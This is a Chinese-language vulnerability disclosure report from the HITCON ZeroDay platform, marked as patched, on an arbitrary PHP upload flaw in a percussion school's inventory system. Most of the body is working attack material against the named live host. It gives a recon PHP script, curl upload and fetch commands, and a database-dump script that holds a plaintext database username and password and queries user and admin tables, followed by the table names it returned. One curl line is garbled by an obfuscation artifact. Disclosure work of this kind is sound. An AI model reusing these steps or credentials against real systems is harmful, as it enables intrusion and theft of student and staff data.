朱宗慶打擊樂教學系統 git洩漏 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-01096
  •  發信 Vendor: 朱宗慶打擊樂教學系統
  • Title: 朱宗慶打擊樂教學系統 git洩漏
  • Introduction: git洩漏導致 ftp密碼洩漏 導致代碼被分析出php任意上傳

處理狀態

目前狀態

公開
Last Update : 2026/09/25
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2026/08/26 08:51:19 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/26 08:52:14 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/26 08:54:10 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/26 08:59:33 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/31 11:44:24 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 17:56:51 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 17:56:51 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 17:56:51 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/09/17 15:01:37 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/09/25 03:00:31 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

相關網址

https://inventory.juschool.com.tw/index.php

敘述

以下sh檔案執行 可以列出 可使用命令


cat > recon.php <<'EOF'
<?php
echo "MARK=".rand(100000,999999)."\n";
echo "disable_functions=".ini_get('disable_functions')."\n";
foreach (['system','shell_exec','exec','passthru','popen','proc_open','pcntl_exec'] as $f) {
    echo $f."=".(function_exists($f) ? 'YES' : 'NO')."\n";
}
echo "CWD=".getcwd()."\n";
if (function_exists('shell_exec')) { echo "ID=".shell_exec('id 2>&1')."\n"; }
elseif (function_exists('passthru')) { passthru('id 2>&1'); }
EOF

curl -F "myfile[][email protected]" -F "title=x" -F "branch=x" -F "max_size=999999" \
  https://inventory.juschool.com.tw/import_list.php >/dev/null

curl -i https://inventory.juschool.com.tw/upload/inv.php

得出
MARK=492202
disable_functions=exec,passthru,proc_open,shell_exec,system,popen,dl,putenv,pcntl_exec
system=NO
shell_exec=NO
exec=NO
passthru=NO
popen=NO
proc_open=NO
pcntl_exec=NO
CWD=/var/www/vhosts/juschool.com.tw/inventory.juschool.com.tw/upload

問題在於 他檢測副檔名 是在檔案寫入前
所以 即使副檔名是.php 也能上傳 只是最終失敗 但是已經寫入伺服器 可以用來使用
該伺服器 沒有開放21端口 導致洩漏的ftp密碼無法使用
可以上傳php檔案 就可以用git洩漏的數據庫帳密 查數據庫
查數據庫 

cat > db_query.php <<'EOF'
<?php
// 使用你获取的数据库凭证
$host = "localhost";
$user = "jpg529crm";
$pass = "jpg529_CRM";
$db = "crm";

$conn = mysqli_connect($host, $user, $pass, $db);

if (!$conn) {
    die("连接失败: " . mysqli_connect_error());
}

echo "=== 数据库连接成功！ ===\n\n";

// 获取所有表
$tables = mysqli_query($conn, "SHOW TABLES");
echo "=== 数据库表列表 ===\n";
while ($row = mysqli_fetch_array($tables)) {
    echo $row[0] . "\n";
}

// 尝试读取用户表（常见表名）
$user_tables = ['users', 'admin', 'user', 'member', 'admin_user', 'crm_user'];
foreach ($user_tables as $table) {
    $check = mysqli_query($conn, "SHOW TABLES LIKE '$table'");
    if (mysqli_num_rows($check) > 0) {
        echo "\n=== 表: $table ===\n";
        $result = mysqli_query($conn, "SELECT * FROM $table LIMIT 5");
        $fields = mysqli_fetch_fields($result);

        // 打印字段名
        foreach ($fields as $field) {
            echo $field->name . "\t";
        }
        echo "\n";

        // 打印数据
        while ($row = mysqli_fetch_assoc($result)) {
            foreach ($row as $value) {
                echo $value . "\t";
            }
            echo "\n";
        }
    }
}

// 尝试读取配置文件中的其他敏感信息
echo "\n=== 尝试获取管理员账号 ===\n";
$sqls = [
    "SELECT username, password, email FROM users LIMIT 10",
    "SELECT user, pass, email FROM admin LIMIT 10",
    "SELECT account, pwd, mail FROM member LIMIT 10",
    "SELECT name, password, mail FROM crm_user LIMIT 10"
];

foreach ($sqls as $sql) {
    $result = mysqli_query($conn, $sql);
    if ($result && mysqli_num_rows($result) > 0) {
        echo "\n成功: $sql\n";
        while ($row = mysqli_fetch_assoc($result)) {
            print_r($row);
        }
    }
}

mysqli_close($conn);
?>
EOF

curl -F "myfile[]=@db_query.php" -F "title=x" -F "branch=x" -F "max_size=999999" \
  https://inventory.juschool.com.tw/import_list.php >/dev/null

curl -i https://inventory.juschool.com.tw/upload/inv.php

看到DB超級多

20260303_monthly_report_record_db
20260303_teacher_class_db
20260303_teacher_report_db
20260407_branch_teacher_db
20260407_class_student_count_db
20260407_class_student_db
20260407_monthly_report_db
20260407_monthly_report_record_db
20260407_teacher_class_db
20260407_teacher_report_db
20260510_branch_teacher_db
20260510_class_student_count_db
20260510_class_student_db
20260510_monthly_report_db
20260510_monthly_report_record_db
20260510_teacher_class_db
20260510_teacher_report_db
20260603_branch_teacher_db
20260603_class_student_count_db
20260603_class_student_db
20260603_monthly_report_db
20260603_monthly_report_record_db
20260603_teacher_class_db
20260603_teacher_report_db
20260707_branch_teacher_db
20260707_class_student_count_db
20260707_class_student_db
20260707_monthly_report_db
20260707_monthly_report_record_db
20260707_teacher_class_db
20260707_teacher_report_db
20260810_branch_teacher_db
20260810_class_student_count_db
20260810_class_student_db
20260810_monthly_report_db
20260810_monthly_report_record_db
20260810_teacher_class_db
20260810_teacher_report_db
quit_db
quit_list_db
quit_roll_db
quit_roll_raw_db
quit_signup_db
quit_signup_raw_db
quit_transfer_db
quit_transfer_raw_db
re_enroll_db
recent_attend_db
recent_attend_remark_db
recent_attend_student_level_db
recent_full_attend_db
recent_full_attend_list_db
recent_full_attend_namelist_db
recent_full_attend_raw1_db
recent_full_attend_raw2_db
recent_full_attend_raw_db
recent_student_attend_db
region_db
residence_branch_db
residence_db
residence_list_db
residence_raw_db
residence_tmp_db
roll_db
roll_raw_db
roll_tmp_db
signup_db
signup_raw_db
signup_tmp_db
sound_teaching_material_db
source_db
source_raw_db
source_tmp_db
special_offer_db
special_offer_list_db
special_offer_product_db
special_offer_raw_db
stage_upgrade_db
teacher_class_db
teacher_day_off_db
teacher_day_off_raw_db
teacher_talk_count_db
teacher_talk_db
teacher_talk_raw_db
teacher_talk_student_db
tp2_monthly_report_raw_db
tp_monthly_report_db
transfer_chk_db
transfer_db
transfer_tmp
visit_benefit_db
wish_db
wish_list_db
wish_raw_db
wish_status_db
wish_target_db
wish_tmp_db

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
;